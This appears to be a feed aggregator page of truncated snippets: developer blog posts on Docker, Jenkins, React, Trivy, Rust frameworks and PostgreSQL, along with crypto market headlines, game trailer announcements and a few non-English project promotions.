it gives you the full picture.  ( 6 min )

Bayangkan kamu bisa menulis kode dengan sederhana, tapi memiliki kekuatan yang luar biasa untuk mengubah dunia digital. Itulah Earl, bahasa pemrograman yang dirancang bukan hanya untuk programmer profesional, tapi untuk semua punya ide dan ingin berkreasi. Di dunia yang bergerak cepat, setiap detik berharga. Earl memahami itu. Dengan sintaks ringkas, intuitif, dan fitur yang powerfull, Earl membuat proses pengembangan menjadi cepat tanpa mengorbankan fleksibilitas. Kamu bisa fokus pada logika dan ide, bukan ribet dengan aturan menjelimet. "Tulislah lebih sedikit, lakukanlah lebih banyak" Kamu baru mulai belajar? Earl ramah untuk pemula. scripting yang mampu membangun sistem kompleks. Tokenisasi Cerdas: Memahami kode dengan cepat, mendukung string dan daftar kompleks tanpa pusing. Manajemen Memori Dinamis: Data disimpan dengan aman dan terstruktur, kamu bebas eksplorasi tanpa takut error. Pemrosesan AST yang Handal: Kode diinterpretasi dengan optimal, memberikan performa tinggi. Kamu punya ide aplikasi? Earl siap menjadi senjata rahasiamu. Jangan tunggu lagi! Earl Discuss. Tautan unduh Earl: GitHub. Ikuti tutorial resmi: YouTube Bergabung di forum dan komunitas resmi: Earl Discuss. Dengan Earl, kamu bukan cuma menulis kode, tapi membuka pintu ke masa depan teknologi yang lebih cerah. Earl adalah simpel, cepat, dan kuat. Bahasa pemrograman untuk para pembuat masa depan.  ( 6 min )

I have three years of experience in Java backend development. I took advantage of the national subsidy to buy a MacBook Pro with 32GB and 1TB of RAM over the last weekend. I'd like to ask developers how to develop elegantly on a Mac. For example, I don't want to install many databases (MySQL (5.7/8.0+), PostgreSQL, etc.) and multiple runtime environments (Java, Python, Go, Node (I only know Java, and I'm not very good at other things. I want to learn more about them later)) on my mac. How can I keep my mac relatively clean? I don't want it to be as messy as on Windows (I have a slight obsessive-compulsive disorder). I also welcome your suggestions for useful tools (for development/entertainment, etc.). I'd be very grateful.  ( 5 min )

Hey folks, This week, after careful consideration and a lot of back and forth, I've decided to pivot again, to a hybrid combat system that uses both Attributes and Skill-Based Progression. I'm drawing on a lot of inspiration from Dark Souls for my Attribute and weapon scaling components, but I'm going to move forward with a skill system that requires players to equip weapons to earn progress with their skills associated with them. For example, a long sword defines its base damage, attack speed, range, attribute requirements and how the damage scales with each attribute. The "Swords Proficiency" skill applies to any sword the character equips, and determines their Accuracy, Crit Chance, Crit Damage and Armour Penetration scale with skill ranks. The more Expeditions and Combats that the character completes, the more experience they get towards ranking up the skills supporting their equipped weapons and spells. For anyone that is interested, I've set up a roadmap on Github here. I'd welcome any comments or feedback people have on this or any of my previous blogs, and please feel free to follow my socials and dev blogs, or join my Discord community. Details on all that can be found at magipunk.com. Cheers! Dan Dahl  ( 5 min )

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Crypto loans are back near bull-market highs, but last week’s $1B liquidation shows leverage is cutting both ways.  ( 28 min )

Institutions ramped up BTC exposure in Q2 through spot ETFs like IBIT and crypto-linked stocks, signaling growing comfort with the asset class.  ( 30 min )

LINK surged 18% to $26.05, outpacing peers as analysts highlight undervaluation, strong chart signals and Chainlink’s August product announcements.  ( 30 min )

The decline in volatility across asset classes likely reflects expectations for easy monetary policy and economic stability; however, some analysts are warning of potential downside risks.  ( 30 min )

A rising bitcoin price is seen as most favorable for Galaxy's digital assets business, while miners fight a rising network hashrate, the report said.  ( 26 min )

Bitcoin steadied near $118,000 on Sunday, though analysts Lark Davis and Michaël van de Poppe warned of deeper corrections and choppy trading ahead.  ( 31 min )

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Zhao will remain an adviser as Story Protocol enters its next phase under SY Lee’s leadership, while he launches Poseidon to bring AI into frontier industries like science and space.  ( 26 min )

The crypto market cap rose 13% in July with ether leading altcoins higher, stablecoins overtaking Visa and tokenized stocks surging 220%, Binance Research said.  ( 27 min )

.trivyignore is a configuration file used by Trivy, an open-source vulnerability scanner for containers, Kubernetes, and other dependencies. 🔹 Containers Its dependencies (libraries, runtimes like Node.js, Python, Java, etc.) 👉 Think of it like a zip file that has everything your app needs so it runs the same way on any machine. 🔹 Kubernetes (K8s)3 With Kubernetes: You describe what you want (e.g., "I need 5 containers of my RN backend always running"). Kubernetes automatically deploys, scales, heals, and load-balances containers. 👉 Think of it like a container orchestrator or a "manager for containers." 📌 Example: You write a YAML file (deployment.yaml) that says: Run 5 replicas of my RN backend container. Expose them via a service on port 3000. Kubernetes ensures those 5 are always running. If one dies → it restarts it. Container = a package of your app + everything it needs to run. What is Trivy? OS package vulnerabilities (e.g., in Alpine, Debian, Ubuntu) Application dependencies vulnerabilities (e.g., npm, pip, Maven) Container image vulnerabilities Infrastructure as Code (IaC) misconfigurations What is .trivyignore? Acknowledge a vulnerability but determine it doesn’t affect your project. Are waiting for an upstream fix and want to suppress noise. Need to whitelist known issues for compliance reasons. How to use .trivyignore? Create a .trivyignore file in your project root. Add the vulnerability IDs you want to ignore. CVE-2022-1234 CVE-2021-5678 Trivy will skip reporting these vulnerabilities in scans.  ( 6 min )

Stop Deploying AI Models Like It’s 2010 — Meet GitOps for ML Mehuli Mukherjee ・ Aug 11 #ai #git #github #aiops  ( 5 min )

I’ve always wondered what makes a web application truly performant. What’s the best way to analyze a web application, especially when it grows into a massive codebase with hundreds of components and dozens of libraries? It can become quite complex to assess. During my research on this topic, I came across Rsdoctor, a tool that’s part of the Rstack ecosystem. This tool provides a visual analysis of your bundle, helping you identify areas to optimize. However, it doesn’t suggest specific ways to reduce the bundle or highlight the most critical areas to focus on. So, I need a tool that tells me what’s wrong with my code and why it’s not performing very well. Luckily, the Rsdoctor team developed the MCP server for Rsdoctor: @rsdoctor/mcp-server. Let’s go over some quick theory first… You can …  ( 6 min )

When it comes to modern web development, two names often dominate the conversation: React.js and Next.js. Both are powerful tools for building dynamic web applications, but understanding their differences and knowing which one to choose can make or break your project’s success. In this article, we’ll explain what React.js and Next.js are, highlight their key differences, and explore why Next.js is often the better choice for developers and businesses. What is React.js? Some of the main features of React.js include: ComponentBased Architecture, Build applications with reusable components. Virtual DOM Improves, performance by updating only the parts of the UI that change. Strong Ecosystem A vast library of third party tools and community support. In short, React.js is perfect for buil…  ( 7 min )

📊 Developed Advanced AI-Powered Trading & Insights- Portfolio Intelligence Pro 💻 Source code: https://github.com/anandsinh01/Portfolio-Intelligence-Pro 📈 Portfolio Intelligence Pro — what’s inside https://github.com/anandsinh01/Portfolio-Intelligence-Pro Disclaimer: This project is for educational purposes only, not financial advice. Always do your own research before investing. https://github.com/anandsinh01/Portfolio-Intelligence-Pro  ( 6 min )

Introduction In today’s world, programming is not just about writing code that works — it’s about collaboration, sharing, and continuous improvement. This is where GitHub comes in. GitHub is the world’s leading platform for developers, used by individuals, startups, and even tech giants. From managing your personal projects to contributing to global open-source software, GitHub has become an essential tool in every developer’s toolkit. Version Control with Git Every programmer makes mistakes. With GitHub, you never have to worry about losing progress. You can track every change, roll back to older versions, and clearly see how your project evolved. Collaboration Without Borders Developers from all over the world can contribute to the same project. Whether it’s two friends buildi…  ( 6 min )

ImportError: DLL load failed while importing onnxruntime_pybind11_state: A dynamic link library I am working on RealtimeSTT GUI python project. I made a exe file from the python scripts with pyinstaller. The python script works right on command. [PYI-27776:DEBUG] LOADER: running pyi_rth_pkgres.py [PYI-27776:DEBUG] LOADER: running main.py Traceback (most recent call last): File "main.py", line 52, in File "main.py", line 4, in main File "PyInstal…  ( 6 min )

In this post, I will give you a step by step guide on how to deploy a CI/CD pipeline on Jenkins with deployment to ECS. This project will teach you how to use jenkins to deploy pipelines, scan code and docker image with trivy, sonarcloud and OWASP vulnerability scanners. The Results will be emailed to the configured email address and the build status is sent to slack. Once the developer pushes code to Github, the pipeline is triggered through Jenkins webhooks. Jenkins scans the code with Sonarqube scanner in sonarcloud, once the quality gates are passed, the code is equally scanned for OWASP top 10 known vulnerabilities and dependencies, next the docker container is build and scanned with Trivy image scan. Once the code and image security are satisfying, the image is pushed to ECR. Jenkin…  ( 12 min )

The Developer Audio Problem We've all been there: Instant device switching - Jump between your laptop, phone, and tablet without unplugging anything No ear fatigue - Unlike headphones, you can code for hours without discomfort Better video calls - Built-in microphones often beat your laptop's mic Ambient sound - Fill your space without isolating you completely Desk real estate - Compact designs that don't clutter your setup After testing several options, the Edifier R1280DB hit that perfect balance of features, sound quality, and price that developers actually care about. Why it works for coding: Multiple inputs - Bluetooth, USB, optical, and aux (connect everything) Compact footprint - Won't dominate your desk like massive speakers Clean sound - Detailed enough for focus music, powerful…  ( 7 min )

In the previous blog posts, I discussed state management and how it works with useState. In this post, I'll cover useReducer and how to manage state in React. What is a Reducer? Why do we use it? How Reducer Works What is a Reducer? reducer is a function used with the useReducer hook, which needs to be imported at the top of your file. const [state, dispatch] = useReducer(reducer, initialArg, init?) Why do we use it? useState and useReducer are similar in functionality, useReducer can make our code easier to handle. By using a reducer, we can create a separate file that contains only the reducer function instead of writing it in each component. This reduces the amount of code within individual components, which is one of the reasons why it is called a "reducer." How Reducer Works useState…  ( 7 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My fascination with routing systems began during a web development internship where I witnessed firsthand how poor routing design can cripple application performance. Our legacy system used a massive switch statement with hundreds of hardcoded routes, making it nearly impossible to maintain and scale. This experience drove me to explore modern routing architectures that could handle complex URL patterns while maintaining exceptional performance. The revelation came when I discovered that most web frameworks treat routing as an afterthought, implementing naive linear search algorithms that degrade performance as route complexity increases. My research led me to a framework that implements sophisticated routing algorithms capable of…  ( 11 min )

Migrating or syncing data between PostgreSQL databases is a common task for developers. Whether consolidating user data, archiving old records, or migrating production data to a reporting database, having a reliable and simple method can save hours of headaches. PostgreSQL’s dblink extension makes this process straightforward, allowing you to query one database from another as if the two were connected tables. Before using dblink, you need to make sure the extension is created in your target database: CREATE EXTENSION IF NOT EXISTS dblink; This only needs to be done once per database. After that, you can safely use dblink to query other PostgreSQL databases. Imagine you have: Source database: user_data_archive Target database: user_data_main Target table: users The users table has un…  ( 6 min )

Ever had an application that slowly, almost imperceptibly, starts consuming more and more memory, until one day it just... crashes? You check your code, everything looks fine, no obvious memory leaks. But what if the culprit is hiding in plain sight, in a tool you thought was helping you manage thread-specific data? We're talking about ThreadLocal. ThreadLocal is a fantastic tool. It lets you store data that's unique to a specific thread. Imagine you're building a web application. Each user request comes in on a different thread. You might want to store information like the current user's ID, their transaction details, or a database connection that's specific to that request, without passing it through every single method call. ThreadLocal makes this super easy. It acts like a private lock…  ( 9 min )

GitHub Homepage As a junior computer science student, I gradually recognized the importance of asynchronous programming during my web development learning process. Traditional synchronous programming models often cause thread blocking when handling IO-intensive tasks, while asynchronous programming allows programs to continue processing other tasks while waiting for IO operations. Recently, I deeply studied a Rust-based web framework whose asynchronous programming implementation gave me a completely new understanding of this technology. In my previous projects, I used traditional synchronous programming models. While this model has clear logic, it encounters serious performance bottlenecks when handling large numbers of concurrent requests. // Traditional synchronous programming example @R…  ( 10 min )

A Guide to the World of Version Control Systems (VCS) What is a Version Control System? A Version Control System (VCS) is a tool used to track changes made to files and projects over time, especially in software development. It allows users to review modifications, roll back to previous versions, and collaborate on the same project without conflicts. Types of Version Control Systems a. Local VCS: b. Centralized VCS: c. Distributed VCS: Key Components of a VCS Repository: Local Repository: stored on the user’s computer. Remote Repository: hosted on platforms like GitHub or GitLab. Working Directory: Staging Area (Index): Commits: The changes made The author’s name The date A descriptive commit message Branches: Parallel versions of the project used for independent development. M…  ( 6 min )

Let's talk about the resume. You've seen a million of them. I've sent a million of them. It usually starts with a document that looks something like this: A beautiful piece of paper, right? 📜 It's packed with keywords, meticulously formatted, and tells you one thing with absolute certainty: I know how to use Google Docs. But then comes the real fun... the ancient ritual of "The Interview." It's a heroic journey. Our brave candidate, Sir Stickman, battles mythical beasts on his noble quest for employment. You know the story. He fights the Dragon of Unforeseen Traffic 🚗💥, narrowly dodges the Meteor of Spilled Coffee ☕, and vanquishes the Goblin of Crippling Self-Doubt. All of this, just to sit in a chair and try to convince you he's the perfect fit based on a 30-minute conversation. It's... a bit broken, isn't it? This is me. Right here. This is my natural habitat. This is where I'm not fighting traffic; I'm building solutions. I'm not trying to remember the "5 greatest weaknesses" I rehearsed; I'm solving actual problems. This is what I love to do. So I asked myself: Why am I trying to tell you I'm a skilled AI/Prompt Engineer on a piece of paper, when I can just show you? I decided to do the resume thing my own way. I built a resume that is the skill demonstration. A resume designed for the people I want to work with. A resume that proves my prowess before you even read the first line. Ladies and gentlemen, I give you... my resume. Game over. Mic drop. 🎤 If you're looking for someone who fits neatly into a Word template, I might not be your guy. But if you're looking for someone who sees a broken process and builds a better one... let's talk. For the lazy ones: raw.githubusercontent.com  ( 6 min )

Lately I’ve been diving deep into the world of QR codes (yes, I know, not the sexiest tech topic 😅). One thing I’ve noticed: a lot of services make it really confusing. You generate a QR, then months later you find out it’s expired, locked behind a paywall, or you’ve lost control of the redirect. I’m curious: for your projects or businesses, do you prefer static QR codes (permanent, free, unchangeable) or dynamic ones (redirectable, but usually managed by a service)? Personally, I’ve been working on a little side project, hrefs.eu , that lets you do both: Static codes: free forever, never expire Dynamic codes: you control the redirect, no lock-ins But I’d love to hear from this community: Do you even use QR codes in your projects? If yes, which type do you find more useful? What’s your biggest pain point with them? Let’s discuss! I think there’s more nuance to QR codes than people give them credit for.  ( 5 min )

How to See Console.WriteLine Output in Visual Studio 2022 If you’re new to Visual Studio or just getting started with C#, it’s common to be confused when Console.WriteLine() doesn’t seem to show anything. Don’t worry — the output is there… you just need to know where to look. In this post, we’ll walk through exactly how to view Console.WriteLine() output in Visual Studio 2022, and how to avoid the common pitfalls that hide the console window. ✅ Step 1 — Make Sure You Are Using a Console Application Console.WriteLine() only works in a Console Application. If you accidentally created a Windows Forms or WPF project, the output will not appear in a console window. How to check: Open your project in Visual Studio. In Solution Explorer, right-click on the project and select Properties. Under O…  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane As a computer science student passionate about performance optimization, I've always been fascinated by the pursuit of minimal latency in web applications. My recent deep dive into latency optimization techniques led me to discover approaches that consistently achieve sub-millisecond response times, fundamentally changing my understanding of what's possible in modern web development. The journey began during my internship at a financial technology company where microseconds matter. Our trading platform required response times under 1 millisecond for market data requests. Traditional frameworks struggled to meet these requirements consistently, leading me to explore alternative approaches that would revolutionize our architecture. …  ( 8 min )

AI in 2025. Some say it will take our jobs. Some say it will replace developers entirely. lol And yes… the pace of AI tools can feel intimidating. But here’s the truth: AI doesn’t replace your thinking, it amplifies it. The real question in 2025 isn’t: “Will AI take my job?” Here’s what I consider when picking a stack today: Future-Proof Languages: TypeScript, Rust, Go strong ecosystems, growing community. Flexible Backends: Node.js/Deno for quick prototyping, Go/Rust for performance-critical apps. Databases That Scale: Postgres, MongoDB, or serverless-ready options like Supabase. AI-First Integration: Pick tools/libraries that allow AI integration without rewriting everything. Community & Support: A strong community means help is always a message away. Pro Tip: Don’t chase the “hottest stack” just because it’s trending. Focus on learning how to learn , In 2025, the smartest move isn’t avoiding AI . it’s choosing a stack that works with AI, not against it. Curious to hear from fellow devs: Which stacks are you betting on in 2025? And how are you integrating AI into your workflow?  ( 6 min )

In the recent past, data engineering has been hailed as one of the most secure and promising careers in data field. With the explosion of data and the rapid rise of artificial intelligence, every company seemed to need robust data pipelines, massive warehouses, and real-time dashboards. Demand for data engineers skyrocketed, and the role was often portrayed as a golden ticket into the future of technology. While the demand for data-driven decision-making has never been higher, the job market for data engineers is no longer the easy path it once appeared to be. Opportunities still exist, but they are unevenly distributed, fiercely competitive, and often come with new sets of expectations that many aspiring engineers find difficult to meet. Yes, there are still great jobs, high salaries, an…  ( 9 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My understanding of middleware architecture evolved during a complex project where we needed to implement authentication, logging, rate limiting, and CORS handling across dozens of API endpoints. Initially, we duplicated logic across handlers, creating a maintenance nightmare. This experience led me to explore middleware patterns that could elegantly solve cross-cutting concerns while maintaining performance and flexibility. The breakthrough moment came when I realized that middleware isn't just about code organization—it's about creating composable, reusable components that can transform requests and responses in a predictable pipeline. My research revealed a framework that implements middleware patterns with exceptional performa…  ( 11 min )

Day 27 is where Jenkins pipelines meet Docker. I'll break this down step by step to complete both tasks (with shell commands and with Groovy Docker syntax). sh (shell commands) Here we manually run Docker commands inside the pipeline. Pre-checks Jenkins server must have Docker installed (docker --version). Jenkins user must have Docker permissions (either part of the docker group or run as sudo). Have a Dockerfile in your project repo. Jenkinsfile (sh approach) Create a Jenkinsfile in your repo with this content: pipeline { agent any stages { stage('Build Docker Image') { steps { sh 'docker build -t myapp:latest .' } } stage('Run Container') { steps { // If already running, stop it fir…  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My deep dive into resource management began during a production incident where our web server's memory usage spiraled out of control, eventually consuming all available system memory and crashing. Traditional garbage collection approaches couldn't keep up with our allocation rate, and manual memory management seemed too complex for a web application. This crisis led me to explore resource management strategies that could deliver both performance and reliability. The breakthrough insight came when I realized that effective resource management isn't just about memory allocation—it's about designing systems that use resources predictably and efficiently throughout their lifecycle. My research revealed a framework that implements soph…  ( 13 min )

🧠 UCP: The AI Reasoning Breakthrough You Can Use Today I've just released an open source system that measurably enhances AI reasoning capability through communication optimization. TL;DR: Human cognitive bias degrades AI logical processing. UCP eliminates this bias in real-time, resulting in 60-80% input compression and autonomous problem-solving capability. Every time we interact with AI systems, we inject cognitive bias patterns: ❌ "Obviously, this amazing breakthrough will revolutionize everything!" ✅ "This approach improves collaboration efficiency." The verbose, biased version actually reduces AI reasoning quality. UCP fixes this. git clone https://github.com/OscarLawrence/UCP cd UCP python3 ucp_system.py Expected output: UCP SYSTEM OPERATIONAL Reasoning enhancement: ACTIVE Bias…  ( 8 min )

On Day 8-9, I dove into the world of React Router and learned how modern SPAs (Single Page Applications) handle navigation. Instead of reloading pages like in traditional websites, React Router makes navigation smooth, fast, and dynamic ⚡. What I Explored Link & NavLink → Navigate between pages without refreshing. Active Links → Style the current route for a better user experience. useParams → Fetch and display data directly from the URL. 4. Built a small project with multiple pages to practice these concepts.  ( 5 min )

Error handling is a necessary but often frustrating part of JavaScript development. Wrapping functions in try…catch blocks clutters your code, making it harder to read and maintain. Wouldn’t it be great if you could automate error handling while keeping your code clean and functional? That’s exactly what @andreasnicolaou/safe does. This lightweight library automatically wraps your functions and promises in a safe execution environment, ensuring errors are caught without the need for repetitive try…catch blocks. Why Use @andreasnicolaou/safe? No more try…catch spam — Keep your code clean and readable. Works with both synchronous & asynchronous functions — No need to handle errors separately. Customizable error logging — Integrate with logging tools like Sentry. Functional programming friendly — Compose operations without error-handling clutter. TypeScript optimized — Enjoy full type inference and guards. Framework-agnostic — Works seamlessly with React, Node.js, Deno, and more To install @andreasnicolaou/safe, simply run: npm install @andreasnicolaou/safe For full usage details and API documentation, visit the official npm page: @andreasnicolaou/safe in your project by running `npm i @andreasnicolaou/safe`. There are no other projects in the npm registry using @andreasnicolaou/safe. npmjs.com  ( 5 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane During my third year studying computer science, I encountered a fundamental challenge that many developers face: how do you achieve extreme performance without sacrificing memory safety? My journey through various web frameworks led me to a discovery that fundamentally changed my understanding of what's possible in modern server development. The catalyst for my research came during a distributed systems course project. Our professor challenged us to build a web server capable of handling 100,000 concurrent connections while maintaining memory safety guarantees. Most students immediately gravitated toward C++ for raw performance, accepting the inherent memory management risks. I chose a different path. Traditional high-performance …  ( 8 min )

When writing end-to-end or integration tests, how we select elements matters. A lot. If you've ever updated a class name in a component and had half your test suite crumble like a stale cookie, you've experienced first-hand why CSS classes aren't the most stable way to identify elements in tests. That's exactly why I built @andreasnicolaou/eslint-plugin-no-classes-by-css an ESLint plugin designed to enforce better testing practices by preventing the use of CSS class selectors in By.css() calls. https://www.npmjs.com/package/@andreasnicolaou/eslint-plugin-no-classes-by-css Let me walk you through the why, the what, and the how. Why Avoid CSS Classes in Tests? element(By.css('.login-button')); Looks fine, right? Until your designer decides to rename .login-button to .btn-primary, and now yo…  ( 7 min )

Volunteering has always been close to my heart. As someone who enjoys giving back and meeting new people, I often found myself wishing there was a simpler way to discover opportunities — whether in my city or virtually — across a variety of causes. That’s how the idea for VolunteerManiac was born: a website that helps people connect with their community and achieve their volunteering goals. With VolunteerManiac, you can search for opportunities in your area by entering your city and country, or you can choose from virtual opportunities that let you contribute from anywhere. You can also filter based on causes that matter most to you — whether that’s human rights, animals, arts & culture, children & youth, technology, education, health & medicine, disaster assistance, employment, environmen…  ( 7 min )

Introduction DevOps has transformed the way software is built, tested, and deployed. With the rise of AI and Machine Learning, the next evolution is clear: combining DevOps with Generative AI and MLOps. Imagine your CI/CD pipeline not just building and deploying applications, but also intelligently predicting failures, optimizing deployments, and automating repetitive tasks. This is where AI-powered DevOps comes in. In this guide, we’ll walk through a complete learning path, covering everything from the basics to cloud-native AI/ML pipelines, and give practical use cases that DevOps engineers can implement today. Module 1: Foundations DevOps Basics: Continuous Integration, Continuous Deployment, and monitoring workflows. Generative AI: Overview of GPT, DALL·E, and other models. MLOps: Unde…  ( 7 min )

TL;DR: We built an AI-first development workflow that achieves 95% autonomy - AI handles everything from GitHub issue generation to pull request creation while humans focus on educational validation. Result: 79% time reduction (29 days → 6 days) with continuous safety validation for child-appropriate educational content. Includes complete implementation guide with GitHub Copilot agents, multi-layer safety pipeline, and continuous learning loops. How we achieve 95% AI autonomy in educational software development In our World Leaders Game project, we've developed a revolutionary AI-first workflow that achieves 95% development autonomy. This post documents our complete process from issue creation to pull request completion using GitHub Copilot and AI agents. Our workflow transforms tradition…  ( 16 min )

This week’s #BCSaturdayCodeHacks dives into a modular pattern for scoped startup logic in Business Central using Codeunit 1430 — Role Center Notification Mgt. ✅ How to trigger background tasks before the UI loads Perfect for onboarding flows, diagnostics, and demo setups — this hook runs before the Role Center renders, giving you a clean slate for modular startup logic. Read the full write-up on LearnBeyondBC 📌 Featuring code samples, best practices, and gotchas to avoid Follow Jeffrey Bulanadi for more modular AL patterns, reverse engineering insights, above and beyond Business Central and AL development. MSDyn365BC #BusinessCentral #ALDevelopment #DevTips #LearnBeyondBC #BCSaturdayCodeHacks  ( 5 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane During my final year project on distributed systems, I encountered a fundamental challenge that shapes modern web development: how to enable efficient bidirectional communication between clients and servers. Traditional request-response patterns felt inadequate for the interactive applications we were building. My exploration of bidirectional communication led me to discover patterns that revolutionize how we think about client-server interaction. The breakthrough came when I realized that most web applications still operate under outdated communication paradigms designed for static content delivery. Modern applications require dynamic, interactive communication patterns that traditional HTTP cannot efficiently provide. My researc…  ( 11 min )

Developer runs docker run / triggers API. CLI/API sends request to Docker Daemon. Daemon interacts with containerd and runc. Linux kernel creates namespaces + cgroups for isolation. Writable container layer mounted on top of image layers. Container process runs CMD/ENTRYPOINT. Networking configured (bridge/overlay). Container responds to user/application request. Logs/events captured for monitoring. Key Takeaway: Docker architecture is a layered, modular system that tightly integrates with the Linux kernel, storage, networking, and orchestration frameworks. Understanding this flow is critical for enterprise-grade DevOps pipelines.  ( 5 min )

We all love React for its component-based architecture and declarative approach to building UIs. But let's be honest, managing state, especially as applications grow, can become a source of frustration. Boilerplate code, steep learning curves, and performance concerns often arise with popular solutions. What if there was a simpler way? A way that allows you to master React state management in just 5 minutes and significantly reduces bundle size? If you’ve been building React apps for a while, you’ve probably hit one (or all) of these pain points: Redux: Powerful, but verbose and heavy. Bundle sizes balloon, and you spend too much time writing actions, reducers, and boilerplate. Zustand: Sleeker, but still larger than necessary and requires some manual care for memoization. Context + useRed…  ( 7 min )

GitHub Homepage During my junior year studies, WebSocket technology has always been my most interested real-time communication solution. Compared to traditional HTTP polling, WebSocket provides true bidirectional real-time communication capabilities. Recently, I deeply studied a Rust-based web framework whose WebSocket server-side processing implementation gave me a completely new understanding of modern real-time communication technology. In my previous projects, I used Node.js Socket.io to implement WebSocket functionality. While powerful, its complex configuration and high resource consumption left a deep impression on me. // Traditional Node.js WebSocket implementation const io = require('socket.io')(server); const clients = new Map(); io.on('connection', (socket) => { console.log('…  ( 10 min )

In this article, we’ll focus on how to set up a new Laravel application with PostgreSQL as the database. Before we dive into the setup, let’s briefly understand what PostgreSQL and Laravel are. PostgreSQL is a powerful, open-source object-relational database management system (ORDBMS). It extends SQL (Structured Query Language) with advanced features designed to safely store and scale complex data workloads. PostgreSQL is often preferred for its reliability, support for JSON, and ability to handle large applications. Laravel is a PHP web development framework built for web artisans. It can be used to build full-stack applications and APIs (Application Programming Interfaces) that integrate with JavaScript libraries such as React or Vue. By default, Laravel supports multiple databases. Depe…  ( 6 min )

GitHub Homepage: https://github.com/hyperlane-dev/hyperlane My journey into real-time web communication began during a hackathon where our team needed to build a collaborative document editor. Traditional HTTP polling felt clunky and inefficient, leading me to explore WebSocket technology. What I discovered was a framework implementation that not only simplified WebSocket development but delivered performance characteristics that completely changed my understanding of real-time web applications. The breakthrough moment came when I realized that most WebSocket implementations add unnecessary complexity to what should be a straightforward communication protocol. My exploration revealed a framework that treats WebSocket as a natural extension of HTTP, enabling seamless real-time communication…  ( 10 min )

Guilty Gear Strive fans, rejoice! Arc System Works has unleashed a slick Lucy Starter Guide trailer, showing off her signature hacking moves, stacking debuffs on your foes, and setting up devastating combos to keep opponents on their heels. Mark your calendars for August 21, 2025—Lucy lands with Season Pass 4 on PS4, PS5, Xbox One, Xbox Series X|S, Switch, and Steam. Get ready to dive into her complex offense and level up your game! Watch on YouTube  ( 5 min )

Delta Force Console Launch Trailer Get ready for Delta Force – the free-to-play action FPS from Team Jade – dropping on PS5 and Xbox Series X|S on August 19! The new Console Launch Overview Trailer gives you a front-row seat to the action. The console version packs fresh maps, operators, vehicles and exclusive weapon appearances to keep your loadouts looking sharp. Don’t miss it! Watch on YouTube  ( 5 min )

Destiny: Rising just dropped its Gwynn character trailer, unveiling the Reaper—a ruthless executioner roaming a futuristic landscape to deliver Death’s verdict. This mobile sci-fi RPG shooter is set in the beloved Destiny universe, promising intense gunplay and dark lore. Heads-up, Guardians: Destiny: Rising lands on the Apple App Store and Google Play Store on August 28, 2025. Time to gear up and embrace the judgment! Watch on YouTube  ( 5 min )

Docker is more than just a container runtime. Understanding its architecture is crucial for DevOps engineers to build scalable, secure, and automated deployment pipelines. What is Docker? At its core, Docker is a containerization platform that allows applications to run in isolated environments called containers. Unlike VMs, containers share the host OS kernel but still provide complete isolation of processes, networking, and filesystem. DevOps relevance: Eliminates “works on my machine” issues. Enables microservices deployment with consistent environments. Simplifies CI/CD pipelines, monitoring, and scaling. Core Components of Docker: a) Docker Engine Docker Daemon (dockerd): Background service running on the host. Handles building, running, and managing containers. Manages networks, volu…  ( 7 min )

This week we are diving back into Skillcrush 105 and getting to know the command line a little bit more. Your workspace is ready to go so it is time to start learning the basics of the command line. Keep in mind some of these commands will differ depending on what computer you are using and that's ok. I'll be talking about the PC commands in this post, but I will mention some of the commands Mac users can use. This post introduces directories and files. The most important thing Skillcrush students learned about in this lesson is how they work, how to create them, and how to switch between two different directories. Folders are great tools for both in real life and on the web. Developers love folders because they provide a good structure for their content. For example, when you build a por…  ( 10 min )

🔹 Introduction If you have written JavaScript for a while, you’ve surely faced one of the most common challenges: 👉 distinguishing between null, undefined, empty strings, zero, or other "falsy" values. It can be confusing, since JavaScript has its own truthy/falsy evaluation system. Sometimes you only need to check whether a variable exists, but in other cases you must know whether it is specifically null, undefined, "", or even an empty object or array. This article provides a comprehensive cheatsheet to cover all these scenarios, with explanations, code snippets, and practical use cases. Save it as your personal reference when debugging or writing clean conditions in JavaScript. In JavaScript, values are evaluated in Boolean contexts as either truthy or falsy. false): false…  ( 7 min )

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GitHub Homepage During my junior year studies, I have been pondering a question: how can we optimize server architecture to the extreme while maintaining functional completeness? Traditional heavyweight frameworks, while feature-rich, often come with issues like high resource consumption and slow startup times. Recently, I encountered an impressive lightweight server architecture that completely changed my understanding of web server design. In my previous project experience, I have used mainstream frameworks like Spring Boot and Django. While these frameworks are powerful, their resource consumption left a deep impression on me. A simple Spring Boot application requires over 200MB of memory to start and often takes more than 10 seconds to boot up. // Traditional Spring Boot application st…  ( 10 min )

Fala pessoal, tudo certo? Hoje vamos falar sobre como podemos usar a IA para nos ajudar no dia a dia, esse projeto chamado de getContent é um projeto que visa capturar informações de alguns portais de notícia, resumir e mandar direto para seu e-mail Mantermo-nos informados sobre as principais notícias do Brasil e do Mundo sem gastar muito tempo é um desafio constante, entrar nos portais tradicionais, é ser soterrado por propagandas ou incentivos, pensando em melhorar a experiência de ler notícias esse projeto vem para resumir as principais notícias e envia-os por email. GetContent é um projeto feito em Python que usa duas IA para fazer a parte trabalhosa, usa a IA Jina para capturar o conteúdo e o gemini para fazer os resumos. Podemos executar esse projeto de algumas forma, via Docker ou…  ( 8 min )

Fala pessoal, tudo certo? Hoje vamos falar sobre como podemos usar a IA para nos ajudar no dia a dia, esse projeto chamado de getContent é um projeto que visa capturar informações de alguns portais de notícia, resumir e mandar direto para seu e-mail Mantermo-nos informados sobre as principais notícias do Brasil e do Mundo sem gastar muito tempo é um desafio constante, entrar nos portais tradicionais, é ser soterrado por propagandas ou incentivos, pensando em melhorar a experiência de ler notícias esse projeto vem para resumir as principais notícias e envia-os por email. GetContent é um projeto feito em Python que usa duas IA para fazer a parte trabalhosa, usa a IA Jina para capturar o conteúdo e o gemini para fazer os resumos. Podemos executar esse projeto de algumas forma, via Docker ou…  ( 8 min )

